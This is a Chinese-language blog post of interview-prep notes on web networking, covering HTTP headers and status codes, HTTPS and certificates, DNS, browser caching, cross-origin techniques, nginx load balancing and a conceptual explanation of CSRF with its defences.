面试之网络相关

Posted by Qz on April 7, 2020

“Yeah It’s on. ”

Http相关

超文本传输协议(英语:HyperText Transfer Protocol,缩写:HTTP)是一种用于分布式、协作式和超媒体信息系统的应用层协议[1]。HTTP是万维网的数据通信的基础。

  • 支持客户端/服务器模型。
  • 灵活
  • 无连接
  • 无状态

http常用请求头

  • Accept 表示客户端支持的数据格式
  • Accept-Encoding 表示客户端所支持的解码(解压缩)格式
  • Accept-Language 表示客户端支持的语言格式
  • Accept-Charset 表示客户端支持编码格式
  • Authorization 设置HTTP身份验证的凭证
  • Cache-Control 设置请求响应链上所有的缓存机制必须遵守的指令
  • Connection 设置当前连接和hop-by-hop协议请求字段列表的控制选项
  • Content-Type 设置请求体的MIME类型(适用POST和PUT请求)

Content-Type

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Type

  1. text/plain:表示纯文本,没有格式或样式。
  2. text/html:表示 HTML 文档,用于网页。
  3. application/json:表示 JSON 数据。
  4. application/xml:表示 XML 数据。
  5. application/octet-stream:表示二进制数据,常用于文件下载。
  6. multipart/form-data:用于上传文件,常用于表单提交。
  7. image/png、image/jpeg、image/gif:表示图片的不同格式。
  8. application/pdf:表示 PDF 文档。
  9. application/zip:表示压缩文件。

“multipart/form-data” 是一种在 HTTP 请求中使用的数据编码格式。它允许将不同类型的数据(如文本、文件等)作为多部分数据来发送。

当使用 “multipart/form-data” 编码格式时,请求消息的主体被分割为多个部分,每个部分都包含一个头部和一个数据段。每个数据段可以是文本或文件,并可以附加额外的元数据。

http常用响应头

  • Access-Control-Allow-Origin 指定哪些网站可以跨域源资源共享
  • Allow 对于特定资源的有效动作;
  • Cache-Control 通知从服务器到客户端内的所有缓存机制,表示它们是否可以缓存这个对象及缓存有效时间。其单位为秒
  • Content-Type 当前内容的MIME类型
  • ETag 对于某个资源的某个特定版本的一个标识符
  • Expires 指定一个日期/时间,超过该时间则认为此回应已经过期
  • Last-Modified 所请求的对象的最后修改日期

Cache-Control

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Cache-Control

Cache-Control 通用消息头字段,被用于在 http 请求和响应中

http状态码

3XX 重定向

3XX 响应结果表明浏览器需要执行某些特殊的处理以正确处理请 求。

301 Moved Permanently

永久性重定向。该状态码表示请求的资源已被分配了新的 URI,以后 应使用资源现在所指的 URI。也就是说,如果已经把资源对应的 URI 保存为书签了,这时应该按 Location 首部字段提示的 URI 重新保存。

302 Found

临时性重定向。该状态码表示请求的资源已被分配了新的 URI,希望 用户(本次)能使用新的 URI 访问。

303 See Other

该状态码表示由于请求对应的资源存在着另一个 URI,应使用 GET 方法定向获取请求的资源。

303 状态码和 302 Found 状态码有着相同的功能,但 303 状态码明确 表示客户端应当采用 GET 方法获取资源,这点与 302 状态码有区 别。

304 Not Modified

该状态码表示客户端发送附带条件的请求时,服务器端允许请求访 问资源,但未满足条件的情况。304 状态码返回时,不包含任何响应 的主体部分。304 虽然被划分在 3XX 类别中,但是和重定向没有关 系。

附带条件的请求是指采用 GET 方法的请求报文中包含 If-Match,If-ModifiedSince,If-None-Match,If-Range,If-Unmodified-Since 中任一首部。

401 Authorization Required

告知客户端需要进行认证

返回带 WWW-Authenticate 首部字段的响应。 该字段内包含认证的方式(BASIC) 及 Request-URI 安全域字符串 (realm)。

接收到状态码 401 的客户端为了通过 BASIC 认证,需要将 用户 ID 及密码发送给服务器。发送的字符串内容是由用户 ID 和密码 构成,两者中间以冒号(:)连接后,再经过 Base64 编码处理。

假设用户 ID 为 guest,密码是 guest,连接起来就会形成 guest:guest 这 样的字符串。然后经过 Base64 编码,最后的结果即是 Z3Vlc3Q6Z3Vlc3Q=。把这串字符串写入首部字段 Authorization 后, 发送请求。

当用户代理为浏览器时,用户仅需输入用户 ID 和密码即可,之后, 浏览器会自动完成到 Base64 编码的转换工作。

428 Precondition Required (要求先决条件)

先决条件是客户端发送 HTTP 请求时,必须要满足的一些预设条件。一个好的例子就是 If-None-Match 头,经常用在 GET 请求中。如果指定了 If-None-Match ,那么客户端只在响应中的 ETag 改变后才会重新接收回应。

先决条件的另外一个例子是 If-Match 头,一般用在 PUT 请求上,用于指示只更新但没有被改变的资源。这在多个客户端使用 HTTP 服务时用来防止彼此间覆盖相同内容的情况。

当服务器端使用 428 Precondition Required 状态码时,表示客户端必须发送上述的请求头才能执行该请求操作。这个方法为服务器提供一种有效的方法来阻止 “lost update”问题的出现。

429 Too Many Requests (太多请求)

当你需要限制客户端请求某个服务的数量,也就是限制请求速度时,该状态码就会非常有用。在此之前,有一些类似的状态码。例如“509 Bandwidth Limit Exceeded”。

如果你希望限制客户端对服务的请求数,可使用 429 状态码,同时包含一个 Retry-After 响应头用于告诉客户端多长时间后可以再次请求服务

431 Request Header Fields Too Large (请求头字段太大)

某些情况下,客户端发送 HTTP 请求头会变得很大,那么服务器可发送 431 Request Header Fields Too Large 来指明该问题。

502 和 504

https://mp.weixin.qq.com/s/WK_yzjA23BTfs6B0243ZLw

这两种异常状态码都与网关 Gateway 有关,首先明确两个概念

  • Proxy (Gateway),反向代理层或者网关层。在公司级应用中一般使用 Nginx 扮演这个角色
  • Application (upstream serrver),应用层服务,作为 Proxy 层的上游服务。在公司中一般为各种语言编写的服务器应用,如 Go/Java/Python/PHP/Node 等

此时关于 502 与 504 的区别就很显而易见

  • 502 Bad Gateway。一般表现为你自己写的应用层服务(Java/Go/PHP)挂了,网关层无法接收到响应
  • 504 Gateway Timeout。一般表现为应用层服务 (upstream) 超时,如查库操作耗时十分钟,超过了 Nginx 配置的超时时间

HTTP连接的优化怎么做

  • 并行连接(能够同一时候和多台server建立HTTP连接)
  • 持久连接
  • 管道化连接
  • 复用的连接

并行连接 长处: 并行连接能够在带宽资源充足的情况下同一时候建立多个HTTP连接,加快页面的载入速度。

缺点: 并行连接在带宽资源不足的情况下会是连接竞争资源。效率反而下降。同一时候建立多条连接会消耗大量内存,对server来说。大量的用户产生大量的连接可能会超过server的处理能力,所以server一般可以关闭来自特定client的超量连接。


持久连接(Keep-Alive/persistent)

长处: 重用已对目标server打开的空暇持久连接,就能够避免缓慢的连接建立阶段。同一时候,已经打开的连接还能够避免慢启动的拥塞适应阶段。以便更快的进行传输数据。

如今的web应用程序都是并行连接+持久连接的形式。

HTTP 的缺点

  • 通信使用明文(不加密),内容可能会被窃听
  • 不验证通信方的身份,因此有可能遭遇伪装
  • 无法证明报文的完整性,所以有可能已遭篡改

由于 HTTP 本身不具备加密的功能,所以也无法做到对通信整体(使 用 HTTP 协议通信的请求和响应的内容)进行加密。即,HTTP 报文 使用明文(指未经过加密的报文)方式发送。

HTTP与TCP

TCP协议对应于传输层,而HTTP协议对应于应用层

Http协议是建立在TCP协议基础之上的

HTTP2

二进制分帧

http/1.x 是一个超文本协议,而 http2 是一个二进制协议,被称之为二进制分帧。

协议格式为帧,帧由 Frame Header(头信息帧)和 Frame Payload(数据帧)组成

头部压缩 HPACK

Https相关

彻底搞懂HTTPS的加密原理

一个故事讲完https

HTTPS 并非是应用层的一种新协议。只是 HTTP 通信接口部分用 SSL(Secure Socket Layer)和 TLS(Transport Layer Security)协议代替而已。

通常,HTTP 直接和 TCP 通信。当使用 SSL 时,则演变成先和 SSL 通信,再由 SSL 和 TCP 通信了。简言之,所谓 HTTPS,其实就是身披 SSL 协议这层外壳的 HTTP。

图片

图片

  1. 某网站拥有用于非对称加密的公钥A、私钥A’。
  2. 浏览器向网站服务器请求,服务器把公钥A明文给传输浏览器。
  3. 浏览器随机生成一个用于对称加密的密钥X,用公钥A加密后传给服务器。
  4. 服务器拿到后用私钥A’解密得到密钥X。
  5. 这样双方就都拥有密钥X了,且别人无法知道它。之后双方所有数据都通过密钥X加密解密即可。

用公钥加密的内容必须用私钥才能解开,同样,私钥加密的内容只有公钥能解开。

HTTPS 采用混合加密机制

HTTPS 采用共享密钥加密和公开密钥加密两者并用的混合加密 机制。若密钥能够实现安全交换,那么有可能会考虑仅使用公开 密钥加密来通信。但是公开密钥加密与共享密钥加密相比,其处 理速度要慢。

所以应充分利用两者各自的优势,将多种方法组合起来用于通 信。在交换密钥环节使用公开密钥加密方式,之后的建立通信交 换报文阶段则使用共享密钥加密方式。

TLS/SSL 的功能实现主要依赖于三类基本算法:散列函数 、对称加密和非对称加密,其利用非对称加密实现身份认证和密钥协商,对称加密算法采用协商的密钥对数据加密,基于散列函数验证信息的完整性

图片

公开密钥加密处理起来比共享密钥加密方式更为复杂,因此若在通信时使用公开密钥加密方式,效率就很低。

RSA : 非对称加密

这个RSA算法非常有意思,它不是像之前的算法, 双方必须协商一个保密的密钥, 而是有一对儿钥匙, 一个是保密的,称为私钥,另外一个是公开的,称为公钥

更有意思的是,用私钥加密的数据,只有对应的公钥才能解密,用公钥加密的数据, 只有对应的私钥才能解密

在https中的应用就是:

分两步走

  • 我生成一个对称加密算法的密钥, 用RSA的方式安全发给你
  • 我们随后就不用RSA了, 只用这个密钥,利用对称加密算法来通信

确定公钥一定是安全的公钥

(防止中间人攻击)

这个等同于如何防止被串改

我们没有办法确定我们通过RSA得到的公钥就一定是安全的公钥?

可能存在一个中间人,截取 了对方发给我们的公钥,然后将他自己的公钥发送给我们,当我们使用他的公钥加密后发送的信息,就可以被他用自己的私钥 解密。然后他伪装成我们以同样的方法向对方发送信息,这样我们的信息就被窃取了,然而我们自己还不知道。

但是怎么安全地分发公钥呢?

为了解决这样的问题,我们可以使用数字证书的方式,首先我们使用一种 Hash 算法来对我们的公钥和其他信息进行加密生成 一个信息摘要,然后让有公信力的认证中心(简称 CA )用它的私钥对消息摘要加密,形成签名。最后将原始的信息和签名合 在一起,称为数字证书。

当接收方收到数字证书的时候,先根据原始信息使用同样的 Hash 算法生成一个摘要,然后使用公证 处的公钥来对数字证书中的摘要进行解密,最后将解密的摘要和我们生成的摘要进行对比,就能发现我们得到的信息是否被更改 了。这个方法最要的是认证中心的可靠性,一般浏览器里会内置一些顶层的认证中心的证书,相当于我们自动信任了他们,只有 这样我们才能保证数据的安全。

数字签名

签名的过程其实也很简单

  1. CA机构拥有非对称加密的私钥和公钥
  2. CA对证书明文信息进行hash
  3. 对hash后的值用私钥加密,得到数字签名

CA机构颁发的证书包含(证书内容的明文+签名)

浏览器收到服务下发的证书之后,拿到证书明文和签名,怎么验证是否篡改了呢?

  1. 拿到证书里面明文的hash算法并对明文内容进行hash运算,得到A
  2. 用CA的公钥解密签名得到B
  3. 比较A 和 B,如果相等,说明没有被篡改,否则浏览器提示证书不可信

HTTPS可以防止中间人篡改内容吗

可以。

其实只要在服务端发送公钥这个阶段,公钥不被中间人获取篡改,那么问题就解决了,所以如何才能保证公钥不被中间人获取呢,方法就是 用数字证书对公钥进行加密

HTTPS 绝对安全吗

https://www.zhihu.com/question/20900055

尽管是https工作在TLS/SSL上的数据是安全的,但是工作在TLS/SSL层之下的数据是不安全的,参考SSL/TLS所在位置,例如抓包软件能够轻松截获你与哪些服务器进行了通信,换句话说,API地址暴露了。

中间人攻击,参见iOS抓包利器Charles

首先charles伪装成服务端和客户端通信,并同时伪装成客户端与服务器通信,充当中间角色,从而截获数据

抓包工具原理

在客户端授权的情况下,可以组建中间人网络,而抓包工具便是作为中间人的代理。通常,HTTPS抓包工具会生成一个证书(类比的假证书),用户安装在客户端或添加信任。此时,客户端先与抓包工具通信,抓包工具再将请求转发到服务器,服务器返回的信息,抓包工具可进行处理或输出,然后再返回给客户端。

因此,HTTPS的安全性更多的体现在用户不知情的情况下进行的访问,如果用户已知情或主动授信,表明用户已经明确了风险,此时如果出现中间人攻击的问题,HTTPS还是不安全的。

DNS协议

DNS 协议提供的是一种主机名到 IP 地址的转换服务,就是我们常说的域名系统。它是一个由分层的 DNS 服务器组成的分 布式数据库,是定义了主机如何查询这个分布式数据库的方式的应用层协议。DNS 协议运行在 UDP 协议之上,使用 53 号 端口。

DNS 预解析

https://developer.mozilla.org/zh-CN/docs/Web/Performance/dns-prefetch

网页链接

DNS-prefetch (DNS 预获取) 是尝试在请求资源之前解析域名。这可能是后面要加载的文件,也可能是用户尝试打开的链接目标。

DNS解析时间可能导致大量用户感知延迟,DNS解析所需的时间差异非常大,延迟范围可以从1ms(本地缓存结果)到普遍的几秒钟时间。所以利用DNS预解析是有意义的。

DNS Prefetching

DNS 请求需要的带宽非常小,但是延迟却有点高,这点在手机网络上特别明显。DNS预解析 能让延迟明显减少一些,例如用户点击链接时。在某些情况下,延迟能减少一秒钟。

X-DNS-Prefetch-Control 头控制着浏览器的DNS预解析功能

  • on:启用DNS预解析。在浏览器支持DNS预解析的特性时及时不适用该标签浏览器依然会进行预解析。
  • off:关闭DNS预解析。这个属性在页面上的链接并不是由你控制的或是你根本不想向这些域名引导数据时非常有用。

预解析的实现:

  1. 用meta信息来告知浏览器, 当前页面要做DNS预解析:<meta http-equiv="x-dns-prefetch-control" content="on" />
  2. 在页面header中使用link标签来强制对DNS预解析: <link rel="dns-prefetch" href="http://bdimg.share.baidu.com" />

也可以通过在服务器端发送 X-DNS-Prefetch-Control 报头

DNS 路径选择算法

主机向本地域名服务器的查询一般都是采用递归查询,即如果主机所询问的本地域名服务器不知道被查询域名的IP地址,那么本地域名服务器就以DNS客户的身份,向其他根域名服务器继续发出查询请求报文,而不是让该主机自己进行下一步的查询。因此,递归查询返回的查询结果或是所要查询的IP地址,或是报错。

本地域名服务器向根服务器的查询通常采用迭代查询,即当根域名服务器收到本地域名服务器发出的迭代查询请求报文时,要么给出所要查询的IP地址,要么告诉本地域名服务器“下一次应向那个域名服务器进行查询”。然后让本地域名服务器进行后续的查询。根域名服务器通常把自己知道的顶级域名服务器的IP地址告诉本地域名服务器,让本地域名服务器再向顶级域名服务器查询。顶级域名服务器在收到本地域名服务器的查询请求后,要么给出所要查询的IP地址,要么告诉本地域名服务器下一步应当向哪一个权限域名服务器进行查询。本地域名服务器就这样进行迭代查询。

缓存相关

循序漸進理解 HTTP Cache 機制

Cache-Control

Cache-Control是通用首部字段,请求报文和响应报文双方都会使用的首部

通过指定首部字段 Cache-Control 的指令,就能操作缓存的工作机 制。

指令的参数是可选的,多个指令之间通过“,”分隔。首部字段 CacheControl 的指令可用于请求及响应时

Cache-Control: private, max-age=0, no-cache
  • no-store: 真正的不进行缓存
  • no-cache: 告诉浏览器、缓存服务器,不管本地副本是否过期,使用资源副本前,一定要到源服务器进行副本有效性校验。 (所以一个重要的注意点:no-cache不是没有缓存)
  • must-revalidate:告诉浏览器、缓存服务器,本地副本过期前,可以使用本地副本;本地副本一旦过期,必须去源服务器进行有效性校验。

no-cache从字面意义上很容易误解为不缓存,但是no-cache代表不缓存过期的资源,缓存会向服务器进行有效处理确认之后处理资源,更确切的说,no-cache应该是do-not-serve-from-cache-without-revalidation

no-cache的目的就是为了防止从缓存中获取过期的资源。

浏览器缓存

网站链接

使用 HTTP 缓存避免不必要的网络请求

https://juejin.cn/post/6844903737538920462

  • 强缓存 (直接拿来用) 用户发送的请求,直接从客户端缓存中获取,不发送请求到服务器,不与服务器发生交互行为。
    • Expires Expires:Thu,21 Jan 2017 23:39:02 GMT(绝对时间 服务器下发的) 存在的问题:服务器时间与客户端时间的不一致,就会导致缓存跟期待效果出现偏差。
    • Cache-Control Cache-Control:max-age=3600(相对时间 单位:秒 客户端)
  • 协商缓存 (问一下服务器) 用户发送的请求,发送到服务器后,由服务器判定是否从缓存中获取资源。
    • Last-Modified if-Modified-Since Last-Modified:Wed,26 Jan 2017 00:35:11 GMT
    • Etag if-None-Match (相当于hash值)

两者的区别:从名字就可以看出,强缓存不与服务器交互,而协商缓存则需要与服务器交互。

enter description here

简单介绍下Cache-Control的属性设置:

  1. max-age: 设置缓存的最大的有效时间,单位为秒(s)。max-age会覆盖掉Expires (注意:max-age 和 Expires 都属于强缓存)
  2. s-maxage: 只用于共享缓存,比如CDN缓存(s -> share)。与max-age 的区别是:max-age用于普通缓存, 而s-maxage用于代理缓存。如果存在s-maxage,则会覆盖max-age 和 Expires.
  3. public:响应会被缓存,并且在多用户间共享。默认是public。
  4. private: 响应只作为私有的缓存,不能在用户间共享。如果要求HTTP认证,响应会自动设置为private。
  5. no-cache: 指定不缓存响应,表明资源不进行缓存。但是设置了no-cache之后并不代表浏览器不缓存,而是在缓存前要向服务器确认资源是否被更改。因此有的时候只设置no-cache防止缓存还是不够保险,还可以加上private指令,将过期时间设为过去的时间。
  6. no-store: 绝对禁止缓存。
  7. must-revalidate: 如果页面过期,则去服务器进行获取。

  • no-cache: 告诉浏览器、缓存服务器,不管本地副本是否过期,使用资源副本前,一定要到源服务器进行副本有效性校验
  • must-revalidate:告诉浏览器、缓存服务器,本地副本过期前,可以使用本地副本;本地副本一旦过期,必须去源服务器进行有效性校验。

https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching?hl=zh-cn#%E2%80%9Cno-cache%E2%80%9D%E5%92%8C%E2%80%9Cno-store%E2%80%9D

“no-cache”和“no-store”

“no-cache”表示必须先与服务器确认返回的响应是否发生了变化,然后才能使用该响应来满足后续对同一网址的请求。 因此,如果存在合适的验证令牌 (ETag),no-cache 会发起往返通信来验证缓存的响应,但如果资源未发生变化,则可避免下载。

相比之下,“no-store”则要简单得多。 它直接禁止浏览器以及所有中间缓存存储任何版本的返回响应,例如,包含个人隐私数据或银行业务数据的响应。 每次用户请求该资产时,都会向服务器发送请求,并下载完整的响应。

所以总结出一个观点:

no-cache不代表没有缓存

no-cache不代表没有缓存

no-cache不代表没有缓存

实际上Cache-Control: no-cache是会被缓存的,只不过每次在向客户端(浏览器)提供响应数据时,缓存都要向服务器评估缓存响应的有效性。

“public”与 “private”

如果响应被标记为“public”,则即使它有关联的 HTTP 身份验证,甚至响应状态代码通常无法缓存,也可以缓存响应。 大多数情况下,“public”不是必需的,因为明确的缓存信息(例如“max-age”)已表示响应是可以缓存的。

相比之下,浏览器可以缓存“private”响应。 不过,这些响应通常只为单个用户缓存,因此不允许任何中间缓存对其进行缓存。 例如,用户的浏览器可以缓存包含用户私人信息的 HTML 网页,但 CDN 却不能缓存。

缓存流程

enter description here

  1. 查看是否有cache-control 的max-age / s-maxage , 如果有,则用服务器时间date值 + max-age/s-maxage 的秒数计算出新的过期时间,将当前时间与过期时间进行比较,判断是否过期
  2. 查看是否有cache-control 的max-age / s-maxage,没有,则用expires 作为过期时间比较

enter description here

判断过程执行完后,如果判定为未过期,则使用客户端缓存,那么就是属于”强缓存”,否则,跟服务器协商是否使用缓存,这就属于”协商缓存”

enter description here

到这一步的时候,浏览器会向服务器发送请求,同时如果上一次的缓存中有Last-modified 和 Etag 字段, 浏览器将在request header 中加入If-Modified-Since(对应于Last-modified), 和If-None-Match(对应于Etag)

  • Last-modified: 表明请求的资源上次的修改时间。
  • If-Modified-Since:客户端保留的资源上次的修改时间。
  • Etag:资源的内容标识。(不唯一,通常为文件的md5或者一段hash值,只要保证写入和验证时的方法一致即可)
  • If-None-Match: 客户端保留的资源内容标识。

1) 分布式系统尽量关闭Etag,因为每台机器生成的Etag都不一样。 2) 分布式系统里多台机器间文件的Last-Modified必须一致,以免负载均衡不同导致对比失败。

最后附上一张,用户行为影响浏览器的缓存行为。

enter description here

浏览器缓存淘汰策略

https://juejin.im/post/5e8b3085f265da47c15cb8bb?utm_source=gold_browser_extension

浏览器中的缓存是一种在本地保存资源副本,它的大小是有限的,当我们请求数过多时,缓存空间会被用满,此时,继续进行网络请求就需要确定缓存中哪些数据被保留,哪些数据被移除

最常见的淘汰策略有 FIFO(先进先出)、LFU(最少使用)、LRU(最近最少使用)。

LRU ( Least Recently Used :最近最少使用 )缓存淘汰策略,故名思义,就是根据数据的历史访问记录来进行淘汰数据,其核心思想是 如果数据最近被访问过,那么将来被访问的几率也更高 ,优先淘汰最近没有被访问到的数据。

在 vue2.5.0 版本中,keep-alive 新增了 max 属性,用于最多可以缓存多少组件实例,一旦这个数字达到了,在新实例被创建之前,已缓存组件中最久没有被访问的实例会被销毁掉,看,这里就应用了 LRU 算法。即在 keep-alive 中缓存达到 max,新增缓存实例会优先淘汰最近没有被访问到的实例

跨域通信

代码地址

  • JSONP(利用script标签的异步加载)
  • Hash(hash改变页面不会刷新)
  • postMessage
  • credentials
  • WebSocket 网站地址
  • CORS 网站地址

一般静态资源通常不受同源策略限制,如js/css/jpg/png等。

CORS

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CORS

跨源资源共享CORS,或通俗地译为跨域资源共享)是一种基于 HTTP 头的机制,该机制通过允许服务器标示除了它自己以外的其他(域、协议或端口),使得浏览器允许这些源访问加载自己的资源。

网页链接

https://blog.csdn.net/vincent_ling/article/details/51714691

默认情况下,标准的跨域请求是不会发送cookie等用户认证凭据的

credentials 是Request接口的只读属性,用于表示用户代理是否应该在跨域请求的情况下从其他域发送cookies。这与XHR的withCredentials 标志相似,不同的是有三个可选值(后者是两个):

  • omit: 从不发送cookies.

  • same-origin: 只有当URL与响应脚本同源才发送 cookies、 HTTP Basic authentication 等验证信息.(浏览器默认值,在旧版本浏览器,例如safari 11依旧是omit,safari 12已更改)

  • include: 不论是不是跨域的请求,总是发送请求资源域在本地的 cookies、 HTTP Basic authentication 等验证信息.

在以下代码中,我们使用Request.Request()创建了一个新的request(为了一个与脚本在同一目录下的图片文件), 接着将request credentials存入一个变量:

var myRequest = new Request('flowers.jpg');
var myCred = myRequest.credentials; // returns "same-origin" by default

解决:

withCredentials

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://www.xxx.com/api');
xhr.withCredentials = true;
xhr.onload = onLoadHandler;
xhr.send();

需要注意的是,当这个属性为true的时候,远程服务器也要作相应的处理。在响应头那里设置 Access-Control-Allow-Credentials: true 。如果没有这个设置的话,浏览器就会报错。

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials

JSONP跨域

JSONP 的全称:JSON with Padding,这里的 Padding 指的就是包裹在 JSON 外层的回调函数

JSONP是服务器与客户端跨源通信的常用方法。最大特点就是简单适用,老式浏览器全部支持,服务器改造非常小。

它的基本思想是,网页通过添加一个<script>元素,向服务器请求JSON数据,这种做法不受同源政策限制;服务器收到请求后,将数据放在一个指定名字的回调函数里传回来。

首先,网页动态插入<script>元素,由它向跨源网址发出请求。

function addScriptTag(src) {
  var script = document.createElement('script');
  script.setAttribute("type","text/javascript");
  script.src = src;
  document.body.appendChild(script);
}

window.onload = function () {
  addScriptTag('http://example.com/ip?callback=foo');
}

function foo(data) {
  console.log('Your public IP address is: ' + data.ip);
};

上面代码通过动态添加<script>元素,向服务器example.com发出请求。注意,该请求的查询字符串有一个callback参数,用来指定回调函数的名字,这对于JSONP是必需的。

服务器收到这个请求以后,会将数据放在回调函数的参数位置返回。

foo({
  "ip": "8.8.8.8"
});

由于<script>元素请求的脚本,直接作为代码运行。这时,只要浏览器定义了foo函数,该函数就会立即调用。作为参数的JSON数据被视为JavaScript对象,而不是字符串,因此避免了使用JSON.parse的步骤。

JSONP 的主要缺点有两个,一是只能 GET 不能 POST,因为是通过<script>引用的资源,参数全都显式的放在URL里,和 AJAX 没有半毛钱关系。二是存在安全隐患,动态插入<script>标签其实就是一种脚本注入,可能会导致XSS攻击。

webSocket

WebSocket是一种通信协议,使用ws://(非加密)和wss://(加密)作为协议前缀。该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信。

下面是一个例子,浏览器发出的WebSocket请求的头信息(摘自维基百科)。

GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Origin: http://example.com

上面代码中,有一个字段是Origin,表示该请求的请求源(origin),即发自哪个域名。

正是因为有了Origin这个字段,所以WebSocket才没有实行同源政策。因为服务器可以根据这个字段,判断是否许可本次通信。如果该域名在白名单内,服务器就会做出如下回应。

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
Sec-WebSocket-Protocol: chat

postMessage

postMessage是html5新增的一个解决跨域的一个方法

postMessage()方法允许来自不同源的脚本采用异步方式进行有限的通信,可以实现跨文本档、多窗口、跨域消息传递。

我们拿跨域中的iframe做例子

<script type="text/javascript">
    window.parent.postMessage('hello world','*');   
    //在被嵌套的iframe的页面中写入这样一段代码
</script>

window.parent返回当前窗口的父窗口。

注意:postMessage的写法,postMessage之前写的是你要通信的window对象(也就是你要像谁通信),此时的window.parent的权限仅限于此,不能在像同域似的,进行获取父级的DOM元素,否则浏览器会报错,提示你不能进行跨域访问,我们再来看postMessage中所接收的参数,第一个参数就是你要像另外一个窗口传递的数据(只能传字符串类型),第二个参数表示目标窗口的源,协议+主机+端口号,是为了安全考虑,如果设置为“*”,则表示可以传递给任意窗口。

<script type="text/javascript">
    window.addEventListener('message',function(e){
        console.log(e.data);        //hello world
        console.log(e.origin);      //http://127.0.0.1:8020 所传来数据的域

    })
</script>

正向代理和反向代理

https://www.zhihu.com/question/24723688

正向代理,它隐藏了真实的请求客户端,服务端不知道真实的客户端是谁,客户端请求的服务都被代理服务器代替来请求,某些科学上网工具扮演的就是典型的正向代理角色。

反向代理隐藏了真实的服务端,当我们请求 ww.baidu.com 的时候,就像拨打10086一样,背后可能有成千上万台服务器为我们服务,但具体是哪一台,你不知道,也不需要知道,你只需要知道反向代理服务器是谁就好了。ww.baidu.com 就是我们的反向代理服务器,反向代理服务器会帮我们把请求转发到真实的服务器那里去。Nginx就是性能非常好的反向代理服务器,用来做负载均衡。

两者的区别在于代理的对象不一样:正向代理代理的对象是客户端,反向代理代理的对象是服务端

跨域隔离

Cross Origin Isolation

跨域隔离使网页能够使用例如 SharedArrayBuffer 等强大功能。

为什么需要“跨域隔离”才能获得强大的功能

https://web.dev/i18n/zh/cross-origin-isolation-guide/

  1. 在顶级文档上设置Cross-Origin-Opener-Policy: same-origin标头。
  2. 在顶级文档上设置Cross-Origin-Embedder-Policy: require-corp标头。
  3. 检查并确认window.crossOriginIsolated在控制台中返回true,从而验证您的页面已启用跨域隔离。

nginx

在 nginx 中配置负载均衡

通过 proxy_passupstream 即可实现最为简单的负载均衡。如下配置会对流量均匀地导向 172.168.0.1172.168.0.2172.168.0.3 三个服务器

http {
  upstream backend {
      server 172.168.0.1;
      server 172.168.0.2;
      server 172.168.0.3;
  }

  server {
      listen 80;
      location / {
          proxy_pass http://backend;
      }
  }
}

关于负载均衡的策略大致有以下四种

  1. round_robin,轮询
  2. weighted_round_robin,加权轮询
  3. ip_hash
  4. least_conn

round_robin 轮询

nginx 默认的负载均衡策略就是轮询,假设负载三台服务器节点为 A、B、C,则每次流量的负载结果为 ABCABC

Weighted_Round_Robin

加权轮询,根据关键字 weight 配置权重,如下则平均来的请求,会有八次打在 A,会有一次打在 B,一次打在 C

upstream backend {
  server 172.168.0.1 weight=8;
  server 172.168.0.2 weight=1;
  server 172.168.0.3 weight=1;
}

IP_hash

对每次的 IP 地址进行 Hash,进而选择合适的节点,如此,每次用户的流量请求将会打在固定的服务器上,利于缓存,也更利于 AB 测试等。

upstream backend {
  server 172.168.0.1;
  server 172.168.0.2;
  server 172.168.0.3;
  ip_hash;
}

Least Connection

选择连接数最少的服务器节点优先负载

upstream backend {
  server 172.168.0.1;
  server 172.168.0.2;
  server 172.168.0.3;
  least_conn;
}

网络安全

  • CSRF
  • XSS

CSRF

网页链接 CSRF跨站点请求伪造(Cross—Site Request Forgery)

攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

CSRF攻击攻击原理及过程:

  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
  2. 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
  3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
  4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
  5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

CSRF漏洞检测:

检测CSRF漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。

随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如CSRFTester,CSRF Request Builder等。

以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。

防御CSRF攻击:

  • 验证 HTTP Referer 字段;

  • 在请求地址中添加 token 并验证

  • 在 HTTP 头中自定义属性并验证。

  • Cookie 设置 SameSite

